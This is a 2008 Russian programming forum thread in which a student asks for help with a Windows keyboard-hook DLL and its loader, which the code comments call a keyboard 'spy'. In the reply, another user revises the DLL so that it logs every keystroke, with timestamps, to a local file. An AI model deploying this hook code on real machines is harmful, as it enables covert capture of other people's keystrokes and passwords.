Версия для печати темы
Нажмите сюда для просмотра этой темы в оригинальном формате
Форум программистов > C/C++: Системное программирование и WinAPI > Хук прикреплялется к explorer.exe


Автор: barin_Student 2.12.2008, 12:50
Код

//--------------------------
#include <vcl.h>
#include <fstream.h>
 #include <memory>
#include <winuser.h>
#include <stdio.h>
#include <IniFiles.hpp>
#include <DateUtils.hpp>
#pragma hdrstop
//--------------------------

extern "C" __declspec(dllexport) LRESULT CALLBACK
KeyboardProc(int code, WPARAM wParam, LPARAM lParam);
//--------------------------
// 
//--------------------------
LRESULT CALLBACK KeyboardProc(int code, WPARAM wParam, LPARAM lParam)
{
  char *iniFileName=".\\hook.ini";
  TIniFile *ini = new TIniFile(iniFileName);
  int key1=ini->ReadInteger("hook settings","key1",120);
  delete ini;
  AnsiString compareWParam =(AnsiString)wParam;
  AnsiString compareKey1=(AnsiString)key1;
  if(compareWParam==compareKey1)//
  {
      TDateTime dt = Now();
      std::auto_ptr<TStringList> list (new TStringList);
      AnsiString strDate= dt.DateString();
      AnsiString strTime= dt.TimeString();
      AnsiString str = strDate+" "+strTime+"  "+compareKey1;
      ShowMessage(str);
      list->Add(str);
      unsigned short year, month, day, hour, min, sec,msec;
      DecodeDateTime(dt.CurrentDate(), year, month, day, hour, min, sec,msec);
      AnsiString pathLogFile="c:\\"+(AnsiString)month+year+"key1.quit";
      list->SaveToFile(pathLogFile);
  }
  return CallNextHookEx(NULL, code, wParam, lParam);
}
int WINAPI DllEntryPoint(HINSTANCE hinst, unsigned long reason, void*)
{
    return 1;
}
//--------------------------

Я дико извиняюсь , что очень часто создаю темы , но время сильно жмет, а в си я только ученик smile , вот это DLL для перехвата с клавы нажатых кнопок , посмотрите , где я не правильно сделал , если что поправьте плиз smile )))
А вот как я ее запускаю, тоже плиз проверьте , а то я по не знанию многих вещей могу дурость написать... Так вот я то зациклить, зациклил DLL (работать должна 24 часа программа), но в какой то момент , должно ведь все стопаться , как мне это реализовать?
Код

//--------------------------
/* <*.h> - заголовочные файлы, чтобы юзать функции WinAPI и не только их */
#include <vcl.h>
#include <condefs.h>
#include <winuser.h>
#include <winbase.h>
#include <stdio.h>
//---------------------------------------------------------------------------
HHOOK hook; // Handle нашей "шпионской" функции
//---------------------------------------------------------------------------
WINAPI WinMain(HINSTANCE, HINSTANCE, LPSTR, int)
{
// Объявляем тип функции;
// параметры и их тип в скобках указывать не надо - и так работает :)
typedef int (CALLBACK* lpfn)();
lpfn hookfunc; // Конкретный указатель на функцию

// Юзаем нашу DLL
HINSTANCE hDLL=LoadLibrary("dllhook.dll");
// Находим в ней адрес функции, которая и будет шпионить за клавой
hookfunc=(lpfn)GetProcAddress(hDLL,"KeyboardProc");

// Запускаем шпиона
hook=SetWindowsHookEx(WH_KEYBOARD, /* шпионить за клавиатурой */
hookfunc, /* функция, которая шпионит */
LoadLibrary("dllhook.dll"), /* еҒ DLL */
0 /* Шпионить за всеми потоками в системе*/ );

while(true) {Sleep(-1);}; // Зацикливаем прогу, чтобы DLL висела в памяти
}
//--------------------------

 Так вот я то зациклить, зациклил DLL (работать должна 24 часа программа), но в какой то момент , должно ведь все стопаться , как мне это реализовать?
 smile  , буду очень благодарен , если укажите на ошибки в коде... smile 

Автор: 586 2.12.2008, 16:02
DLL я бы так написал:
Код
//--------------------------
#include <vcl.h>
#include <windows.h>
#include <stdio.h>
#include <IniFiles.hpp>
#pragma hdrstop
//--------------------------
extern "C" __declspec(dllexport) LRESULT CALLBACK KeyboardProc(int code, WPARAM wParam, LPARAM lParam);

LRESULT CALLBACK KeyboardProc(int code, WPARAM wParam, LPARAM lParam)
{
  const char *iniFileName="C:\\hook.ini";

  TIniFile *ini = new TIniFile(iniFileName);              // небезопасный код: может возникнуть исключение
  int key1=ini->ReadInteger("hook settings","key1",120);  //
  delete ini;                                             //


  //if(wParam == (WPARAM)key1)
  {
      SYSTEMTIME st;
      GetLocalTime(&st);

      char szFileName[MAX_PATH];

      sprintf(szFileName, "C:\\%02u_%04u.txt", (UINT)st.wMonth, (UINT)st.wYear);

      FILE *f = fopen(szFileName, "a+");

      if(f)
      {
          fprintf(f, "%2u.%02u.%04u %2u:%02u:%02u %u (%c)\n",
            (UINT)st.wDay, (UINT)st.wMonth, (UINT)st.wYear,
            (UINT)st.wHour,  (UINT)st.wMinute, (UINT)st.wSecond,
            wParam, (wParam > 32) ? wParam : ' ');

          fclose(f);
      } else {
        MessageBeep(16);
      }
  }
  return CallNextHookEx(NULL, code, wParam, lParam);
}

int WINAPI DllEntryPoint(HINSTANCE hinst, unsigned long reason, void*)
{
    return 1;
}


А хук снимается с помощью функции UnhookWindowsHookEx внутри главного приложения.

Автор: barin_Student 3.12.2008, 06:15
счас посмотрю. smile 

Powered by Invision Power Board (http://www.invisionboard.com)
© Invision Power Services (http://www.invisionpower.com)